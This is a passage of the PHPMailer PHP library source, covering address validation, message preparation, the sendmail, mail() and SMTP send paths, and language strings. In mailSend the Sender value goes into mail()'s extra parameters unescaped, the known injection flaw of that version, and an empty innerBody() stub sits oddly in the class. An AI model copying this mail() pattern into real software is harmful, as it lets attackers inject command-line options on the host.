  1055. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  1056. 'address' => $email
  1057. );
  1058. }
  1059. }
  1060. }
  1061. }
  1062. return $addresses;
  1063. }
  1064.  
  1065. /**
  1066. * Set the From and FromName properties.
  1067. * @param string $address
  1068. * @param string $name
  1069. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1070. * @throws phpmailerException
  1071. * @return boolean
  1072. */
  1073. public function setFrom($address, $name = '', $auto = true)
  1074. {
  1075. $address = trim($address);
  1076. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1077. // Don't validate now addresses with IDN. Will be done in send().
  1078. if (($pos = strrpos($address, '@')) === false or
  1079. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1080. !$this->validateAddress($address)) {
  1081. $error_message = $this->lang('invalid_address') . $address;
  1082. $this->setError($error_message);
  1083. $this->edebug($error_message);
  1084. if ($this->exceptions) {
  1085. throw new phpmailerException($error_message);
  1086. }
  1087. return false;
  1088. }
  1089. $this->From = $address;
  1090. $this->FromName = $name;
  1091. if ($auto) {
  1092. if (empty($this->Sender)) {
  1093. $this->Sender = $address;
  1094. }
  1095. }
  1096. return true;
  1097. }
  1098.  
  1099. /**
  1100. * Return the Message-ID header of the last email.
  1101. * Technically this is the value from the last time the headers were created,
  1102. * but it's also the message ID of the last sent message except in
  1103. * pathological cases.
  1104. * @return string
  1105. */
  1106. public function getLastMessageID()
  1107. {
  1108. return $this->lastMessageID;
  1109. }
  1110.  
  1111. /**
  1112. * Check that a string looks like an email address.
  1113. * @param string $address The email address to check
  1114. * @param string $patternselect A selector for the validation pattern to use :
  1115. * * `auto` Pick best pattern automatically;
  1116. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1117. * * `pcre` Use old PCRE implementation;
  1118. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1119. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1120. * * `noregex` Don't use a regex: super fast, really dumb.
  1121. * @return boolean
  1122. * @static
  1123. * @access public
  1124. */
  1125. public static function validateAddress($address, $patternselect = 'auto')
  1126. {
  1127. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1128. if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1129. return false;
  1130. }
  1131. if (!$patternselect or $patternselect == 'auto') {
  1132. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1133. //Constant was added in PHP 5.2.4
  1134. if (defined('PCRE_VERSION')) {
  1135. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1136. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1137. $patternselect = 'pcre8';
  1138. } else {
  1139. $patternselect = 'pcre';
  1140. }
  1141. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1142. //Fall back to older PCRE
  1143. $patternselect = 'pcre';
  1144. } else {
  1145. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1146. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1147. $patternselect = 'php';
  1148. } else {
  1149. $patternselect = 'noregex';
  1150. }
  1151. }
  1152. }
  1153. switch ($patternselect) {
  1154. case 'pcre8':
  1155. /**
  1156. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1157. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1158. * @copyright 2009-2010 Michael Rushton
  1159. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1160. */
  1161. return (boolean)preg_match(
  1162. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1163. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1164. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1165. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1166. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1167. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1168. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1169. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1170. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1171. $address
  1172. );
  1173. case 'pcre':
  1174. //An older regex that doesn't need a recent PCRE
  1175. return (boolean)preg_match(
  1176. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1177. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1178. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1179. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1180. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1181. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1182. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1183. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1184. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1185. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1186. $address
  1187. );
  1188. case 'html5':
  1189. /**
  1190. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1191. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1192. */
  1193. return (boolean)preg_match(
  1194. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1195. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1196. $address
  1197. );
  1198. case 'noregex':
  1199. //No PCRE! Do something _very_ approximate!
  1200. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1201. return (strlen($address) >= 3
  1202. and strpos($address, '@') >= 1
  1203. and strpos($address, '@') != strlen($address) - 1);
  1204. case 'php':
  1205. default:
  1206. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1207. }
  1208. }
  1209.  
  1210. /**
  1211. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1212. * "intl" and "mbstring" PHP extensions.
  1213. * @return bool "true" if required functions for IDN support are present
  1214. */
  1215. public function idnSupported()
  1216. {
  1217. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1218. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1219. }
  1220.  
  1221. /**
  1222. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1223. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1224. * This function silently returns unmodified address if:
  1225. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1226. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1227. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1228. * @see PHPMailer::$CharSet
  1229. * @param string $address The email address to convert
  1230. * @return string The encoded address in ASCII form
  1231. */
  1232. public function punyencodeAddress($address)
  1233. {
  1234. // Verify we have required functions, CharSet, and at-sign.
  1235. if ($this->idnSupported() and
  1236. !empty($this->CharSet) and
  1237. ($pos = strrpos($address, '@')) !== false) {
  1238. $domain = substr($address, ++$pos);
  1239. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1240. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1241. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1242. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1243. idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1244. idn_to_ascii($domain)) !== false) {
  1245. return substr($address, 0, $pos) . $punycode;
  1246. }
  1247. }
  1248. }
  1249. return $address;
  1250. }
  1251.  
  1252. /**
  1253. * Create a message and send it.
  1254. * Uses the sending method specified by $Mailer.
  1255. * @throws phpmailerException
  1256. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1257. */
  1258. public function send()
  1259. {
  1260. try {
  1261. if (!$this->preSend()) {
  1262. return false;
  1263. }
  1264. return $this->postSend();
  1265. } catch (phpmailerException $exc) {
  1266. $this->mailHeader = '';
  1267. $this->setError($exc->getMessage());
  1268. if ($this->exceptions) {
  1269. throw $exc;
  1270. }
  1271. return false;
  1272. }
  1273. }
  1274.  
  1275. /**
  1276. * Prepare a message for sending.
  1277. * @throws phpmailerException
  1278. * @return boolean
  1279. */
  1280. public function preSend()
  1281. {
  1282. try {
  1283. $this->error_count = 0; // Reset errors
  1284. $this->mailHeader = '';
  1285.  
  1286. // Dequeue recipient and Reply-To addresses with IDN
  1287. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1288. $params[1] = $this->punyencodeAddress($params[1]);
  1289. call_user_func_array(array($this, 'addAnAddress'), $params);
  1290. }
  1291. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1292. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1293. }
  1294.  
  1295. // Validate From, Sender, and ConfirmReadingTo addresses
  1296. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1297. $this->$address_kind = trim($this->$address_kind);
  1298. if (empty($this->$address_kind)) {
  1299. continue;
  1300. }
  1301. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1302. if (!$this->validateAddress($this->$address_kind)) {
  1303. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1304. $this->setError($error_message);
  1305. $this->edebug($error_message);
  1306. if ($this->exceptions) {
  1307. throw new phpmailerException($error_message);
  1308. }
  1309. return false;
  1310. }
  1311. }
  1312.  
  1313. // Set whether the message is multipart/alternative
  1314. if (!empty($this->AltBody)) {
  1315. $this->ContentType = 'multipart/alternative';
  1316. }
  1317.  
  1318. $this->setMessageType();
  1319. // Refuse to send an empty message unless we are specifically allowing it
  1320. if (!$this->AllowEmpty and empty($this->Body)) {
  1321. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1322. }
  1323.  
  1324. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1325. $this->MIMEHeader = '';
  1326. $this->MIMEBody = $this->createBody();
  1327. // createBody may have added some headers, so retain them
  1328. $tempheaders = $this->MIMEHeader;
  1329. $this->MIMEHeader = $this->createHeader();
  1330. $this->MIMEHeader .= $tempheaders;
  1331.  
  1332. // To capture the complete message when using mail(), create
  1333. // an extra header list which createHeader() doesn't fold in
  1334. if ($this->Mailer == 'mail') {
  1335. if (count($this->to) > 0) {
  1336. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1337. } else {
  1338. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1339. }
  1340. $this->mailHeader .= $this->headerLine(
  1341. 'Subject',
  1342. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1343. );
  1344. }
  1345.  
  1346. // Sign with DKIM if enabled
  1347. if (!empty($this->DKIM_domain)
  1348. && !empty($this->DKIM_private)
  1349. && !empty($this->DKIM_selector)
  1350. && file_exists($this->DKIM_private)) {
  1351. $header_dkim = $this->DKIM_Add(
  1352. $this->MIMEHeader . $this->mailHeader,
  1353. $this->encodeHeader($this->secureHeader($this->Subject)),
  1354. $this->MIMEBody
  1355. );
  1356. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1357. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1358. }
  1359. return true;
  1360. } catch (phpmailerException $exc) {
  1361. $this->setError($exc->getMessage());
  1362. if ($this->exceptions) {
  1363. throw $exc;
  1364. }
  1365. return false;
  1366. }
  1367. }
  1368. public function innerBody(){
  1369.  
  1370.  
  1371. }
  1372. /**
  1373. * Actually send a message.
  1374. * Send the email via the selected mechanism
  1375. * @throws phpmailerException
  1376. * @return boolean
  1377. */
  1378. public function postSend()
  1379. {
  1380. try {
  1381. // Choose the mailer and send through it
  1382. switch ($this->Mailer) {
  1383. case 'sendmail':
  1384. case 'qmail':
  1385. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1386. case 'smtp':
  1387. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1388. case 'mail':
  1389. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1390. default:
  1391. $sendMethod = $this->Mailer.'Send';
  1392. if (method_exists($this, $sendMethod)) {
  1393. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1394. }
  1395.  
  1396. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1397. }
  1398. } catch (phpmailerException $exc) {
  1399. $this->setError($exc->getMessage());
  1400. $this->edebug($exc->getMessage());
  1401. if ($this->exceptions) {
  1402. throw $exc;
  1403. }
  1404. }
  1405. return false;
  1406. }
  1407.  
  1408. /**
  1409. * Send mail using the $Sendmail program.
  1410. * @param string $header The message headers
  1411. * @param string $body The message body
  1412. * @see PHPMailer::$Sendmail
  1413. * @throws phpmailerException
  1414. * @access protected
  1415. * @return boolean
  1416. */
  1417. protected function sendmailSend($header, $body)
  1418. {
  1419. if ($this->Sender != '') {
  1420. if ($this->Mailer == 'qmail') {
  1421. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1422. } else {
  1423. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1424. }
  1425. } else {
  1426. if ($this->Mailer == 'qmail') {
  1427. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1428. } else {
  1429. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1430. }
  1431. }
  1432. if ($this->SingleTo) {
  1433. foreach ($this->SingleToArray as $toAddr) {
  1434. if (!@$mail = popen($sendmail, 'w')) {
  1435. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1436. }
  1437. fputs($mail, 'To: ' . $toAddr . "\n");
  1438. fputs($mail, $header);
  1439. fputs($mail, $body);
  1440. $result = pclose($mail);
  1441. $this->doCallback(
  1442. ($result == 0),
  1443. array($toAddr),
  1444. $this->cc,
  1445. $this->bcc,
  1446. $this->Subject,
  1447. $body,
  1448. $this->From
  1449. );
  1450. if ($result != 0) {
  1451. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1452. }
  1453. }
  1454. } else {
  1455. if (!@$mail = popen($sendmail, 'w')) {
  1456. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1457. }
  1458. fputs($mail, $header);
  1459. fputs($mail, $body);
  1460. $result = pclose($mail);
  1461. $this->doCallback(
  1462. ($result == 0),
  1463. $this->to,
  1464. $this->cc,
  1465. $this->bcc,
  1466. $this->Subject,
  1467. $body,
  1468. $this->From
  1469. );
  1470. if ($result != 0) {
  1471. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1472. }
  1473. }
  1474. return true;
  1475. }
  1476.  
  1477. /**
  1478. * Send mail using the PHP mail() function.
  1479. * @param string $header The message headers
  1480. * @param string $body The message body
  1481. * @link http://www.php.net/manual/en/book.mail.php
  1482. * @throws phpmailerException
  1483. * @access protected
  1484. * @return boolean
  1485. */
  1486. protected function mailSend($header, $body)
  1487. {
  1488. $toArr = array();
  1489. foreach ($this->to as $toaddr) {
  1490. $toArr[] = $this->addrFormat($toaddr);
  1491. }
  1492. $to = implode(', ', $toArr);
  1493.  
  1494. if (empty($this->Sender)) {
  1495. $params = ' ';
  1496. } else {
  1497. $params = sprintf('-f%s', $this->Sender);
  1498. }
  1499. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1500. $old_from = ini_get('sendmail_from');
  1501. ini_set('sendmail_from', $this->Sender);
  1502. }
  1503. $result = false;
  1504. if ($this->SingleTo && count($toArr) > 1) {
  1505. foreach ($toArr as $toAddr) {
  1506. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1507. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1508. }
  1509. } else {
  1510. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1511. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1512. }
  1513. if (isset($old_from)) {
  1514. ini_set('sendmail_from', $old_from);
  1515. }
  1516. if (!$result) {
  1517. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1518. }
  1519. return true;
  1520. }
  1521.  
  1522. /**
  1523. * Get an instance to use for SMTP operations.
  1524. * Override this function to load your own SMTP implementation
  1525. * @return SMTP
  1526. */
  1527. public function getSMTPInstance()
  1528. {
  1529. if (!is_object($this->smtp)) {
  1530. $this->smtp = new SMTP;
  1531. }
  1532. return $this->smtp;
  1533. }
  1534.  
  1535. /**
  1536. * Send mail via SMTP.
  1537. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1538. * Uses the PHPMailerSMTP class by default.
  1539. * @see PHPMailer::getSMTPInstance() to use a different class.
  1540. * @param string $header The message headers
  1541. * @param string $body The message body
  1542. * @throws phpmailerException
  1543. * @uses SMTP
  1544. * @access protected
  1545. * @return boolean
  1546. */
  1547. protected function smtpSend($header, $body)
  1548. {
  1549. $bad_rcpt = array();
  1550. if (!$this->smtpConnect($this->SMTPOptions)) {
  1551. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1552. }
  1553. if ('' == $this->Sender) {
  1554. $smtp_from = $this->From;
  1555. } else {
  1556. $smtp_from = $this->Sender;
  1557. }
  1558. if (!$this->smtp->mail($smtp_from)) {
  1559. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1560. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1561. }
  1562.  
  1563. // Attempt to send to all recipients
  1564. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1565. foreach ($togroup as $to) {
  1566. if (!$this->smtp->recipient($to[0])) {
  1567. $error = $this->smtp->getError();
  1568. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1569. $isSent = false;
  1570. } else {
  1571. $isSent = true;
  1572. }
  1573. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1574. }
  1575. }
  1576.  
  1577. // Only send the DATA command if we have viable recipients
  1578. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1579. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1580. }
  1581. if ($this->SMTPKeepAlive) {
  1582. $this->smtp->reset();
  1583. } else {
  1584. $this->smtp->quit();
  1585. $this->smtp->close();
  1586. }
  1587. //Create error message for any bad addresses
  1588. if (count($bad_rcpt) > 0) {
  1589. $errstr = '';
  1590. foreach ($bad_rcpt as $bad) {
  1591. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1592. }
  1593. throw new phpmailerException(
  1594. $this->lang('recipients_failed') . $errstr,
  1595. self::STOP_CONTINUE
  1596. );
  1597. }
  1598. return true;
  1599. }
  1600.  
  1601. /**
  1602. * Initiate a connection to an SMTP server.
  1603. * Returns false if the operation failed.
  1604. * @param array $options An array of options compatible with stream_context_create()
  1605. * @uses SMTP
  1606. * @access public
  1607. * @throws phpmailerException
  1608. * @return boolean
  1609. */
  1610. public function smtpConnect($options = array())
  1611. {
  1612. if (is_null($this->smtp)) {
  1613. $this->smtp = $this->getSMTPInstance();
  1614. }
  1615.  
  1616. // Already connected?
  1617. if ($this->smtp->connected()) {
  1618. return true;
  1619. }
  1620.  
  1621. $this->smtp->setTimeout($this->Timeout);
  1622. $this->smtp->setDebugLevel($this->SMTPDebug);
  1623. $this->smtp->setDebugOutput($this->Debugoutput);
  1624. $this->smtp->setVerp($this->do_verp);
  1625. $hosts = explode(';', $this->Host);
  1626. $lastexception = null;
  1627.  
  1628. foreach ($hosts as $hostentry) {
  1629. $hostinfo = array();
  1630. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1631. // Not a valid host entry
  1632. continue;
  1633. }
  1634. // $hostinfo[2]: optional ssl or tls prefix
  1635. // $hostinfo[3]: the hostname
  1636. // $hostinfo[4]: optional port number
  1637. // The host string prefix can temporarily override the current setting for SMTPSecure
  1638. // If it's not specified, the default value is used
  1639. $prefix = '';
  1640. $secure = $this->SMTPSecure;
  1641. $tls = ($this->SMTPSecure == 'tls');
  1642. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1643. $prefix = 'ssl://';
  1644. $tls = false; // Can't have SSL and TLS at the same time
  1645. $secure = 'ssl';
  1646. } elseif ($hostinfo[2] == 'tls') {
  1647. $tls = true;
  1648. // tls doesn't use a prefix
  1649. $secure = 'tls';
  1650. }
  1651. //Do we need the OpenSSL extension?
  1652. $sslext = defined('OPENSSL_ALGO_SHA1');
  1653. if ('tls' === $secure or 'ssl' === $secure) {
  1654. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1655. if (!$sslext) {
  1656. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1657. }
  1658. }
  1659. $host = $hostinfo[3];
  1660. $port = $this->Port;
  1661. $tport = (integer)$hostinfo[4];
  1662. if ($tport > 0 and $tport < 65536) {
  1663. $port = $tport;
  1664. }
  1665. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1666. try {
  1667. if ($this->Helo) {
  1668. $hello = $this->Helo;
  1669. } else {
  1670. $hello = $this->serverHostname();
  1671. }
  1672. $this->smtp->hello($hello);
  1673. //Automatically enable TLS encryption if:
  1674. // * it's not disabled
  1675. // * we have openssl extension
  1676. // * we are not already using SSL
  1677. // * the server offers STARTTLS
  1678. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1679. $tls = true;
  1680. }
  1681. if ($tls) {
  1682. if (!$this->smtp->startTLS()) {
  1683. throw new phpmailerException($this->lang('connect_host'));
  1684. }
  1685. // We must resend HELO after tls negotiation
  1686. $this->smtp->hello($hello);
  1687. }
  1688. if ($this->SMTPAuth) {
  1689. if (!$this->smtp->authenticate(
  1690. $this->Username,
  1691. $this->Password,
  1692. $this->AuthType,
  1693. $this->Realm,
  1694. $this->Workstation
  1695. )
  1696. ) {
  1697. throw new phpmailerException($this->lang('authenticate'));
  1698. }
  1699. }
  1700. return true;
  1701. } catch (phpmailerException $exc) {
  1702. $lastexception = $exc;
  1703. $this->edebug($exc->getMessage());
  1704. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1705. $this->smtp->quit();
  1706. }
  1707. }
  1708. }
  1709. // If we get here, all connection attempts have failed, so close connection hard
  1710. $this->smtp->close();
  1711. // As we've caught all exceptions, just report whatever the last one was
  1712. if ($this->exceptions and !is_null($lastexception)) {
  1713. throw $lastexception;
  1714. }
  1715. return false;
  1716. }
  1717.  
  1718. /**
  1719. * Close the active SMTP session if one exists.
  1720. * @return void
  1721. */
  1722. public function smtpClose()
  1723. {
  1724. if ($this->smtp !== null) {
  1725. if ($this->smtp->connected()) {
  1726. $this->smtp->quit();
  1727. $this->smtp->close();
  1728. }
  1729. }
  1730. }
  1731.  
  1732. /**
  1733. * Set the language for error messages.
  1734. * Returns false if it cannot load the language file.
  1735. * The default language is English.
  1736. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1737. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1738. * @return boolean
  1739. * @access public
  1740. */
  1741. public function setLanguage($langcode = 'en', $lang_path = '')
  1742. {
  1743. // Define full set of translatable strings in English
  1744. $PHPMAILER_LANG = array(
  1745. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1746. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1747. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1748. 'empty_message' => 'Message body empty',
  1749. 'encoding' => 'Unknown encoding: ',
  1750. 'execute' => 'Could not execute: ',
  1751. 'file_access' => 'Could not access file: ',
  1752. 'file_open' => 'File Error: Could not open file: ',
  1753. 'from_failed' => 'The following From address failed: ',
  1754. 'instantiate' => 'Could not instantiate mail function.',
  1755. 'invalid_address' => 'Invalid address: ',
  1756. 'mailer_not_supported' => ' mailer is not supported.',
  1757. 'provide_address' => 'You must provide at least one recipient email address.',
  1758. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1759. 'signing' => 'Signing Error: ',
  1760. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1761. 'smtp_error' => 'SMTP server error: ',
  1762. 'variable_set' => 'Cannot set or reset variable: ',
  1763. 'extension_missing' => 'Extension missing: '
  1764. );
  1765. if (empty($lang_path)) {
  1766. // Calculate an absolute path so it can work if CWD is not here
  1767. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1768. }
  1769. $foundlang = true;
  1770. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1771. // There is no English translation file
  1772. if ($langcode != 'en') {
  1773. // Make sure language file path is readable
  1774. if (!is_readable($lang_file)) {
  1775. $foundlang = false;
  1776. } else {
  1777. // Overwrite language-specific strings.
  1778. // This way we'll never have missing translation keys.
  1779. $foundlang = include $lang_file;
  1780. }
  1781. }
  1782. $this->language = $PHPMAILER_LANG;
  1783. return (boolean)$foundlang; // Returns false if language not found
  1784. }
  1785.  
  1786. /**
  1787. * Get the array of strings for the current language.
  1788. * @return array
  1789. */
  1790. public function getTranslations()
  1791. {
  1792. return $this->language;
  1793. }
  1794.  
  1795. /**
  1796. * Create recipient headers.
  1797. * @access public
  1798. * @param string $type
  1799. * @param array $addr An array of recipient,
  1800. * where each recipient is a 2-element indexed array with element 0 containing an address
  1801. * and element 1 containing a name, like:
  1802. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1803. * @return string
  1804. */
  1805. public function addrAppend($type, $addr)
  1806. {
  1807. $addresses = array();
  1808. foreach ($addr as $address) {
  1809. $addresses[] = $this->addrFormat($address);
  1810. }
  1811. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1812. }
  1813.  
  1814. /**
  1815. * Format an address for use in a message header.
  1816. * @access public
  1817. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1818. * like array('joe@example.com', 'Joe User')
  1819. * @return string
  1820. */
  1821. public function addrFormat($addr)
  1822. {
  1823. if (empty($addr[1])) { // No name provided
  1824. return $this->secureHeader($addr[0]);
  1825. } else {
  1826. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1827. $addr[0]
  1828. ) . '>';
  1829. }
  1830. }
  1831.  
  1832. /**
  1833. * Word-wrap message.
  1834. * For use with mailers that do not automatically perform wrapping
  1835. * and for quoted-printable encoded messages.
  1836. * Original written by philippe.
  1837. * @param string $message The message to wrap
  1838. * @param integer $length The line length to wrap to
  1839. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1840. * @access public
  1841. * @return string
  1842. */
  1843. public function wrapText($message, $length, $qp_mode = false)
  1844. {
  1845. if ($qp_mode) {
  1846. $soft_break = sprintf(' =%s', $this->LE);
  1847. } else {
  1848. $soft_break = $this->LE;
  1849. }
  1850. // If utf-8 encoding is used, we will need to make sure we don't
  1851. // split multibyte characters when we wrap
  1852. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1853. $lelen = strlen($this->LE);
  1854. $crlflen = strlen(self::CRLF);
  1855.  
  1856. $message = $this->fixEOL($message);
  1857. //Remove a trailing line break
  1858. if (substr($message, -$lelen) == $this->LE) {
  1859. $message = substr($message, 0, -$lelen);
  1860. }
  1861.  
  1862. //Split message into lines
  1863. $lines = explode($this->LE, $message);
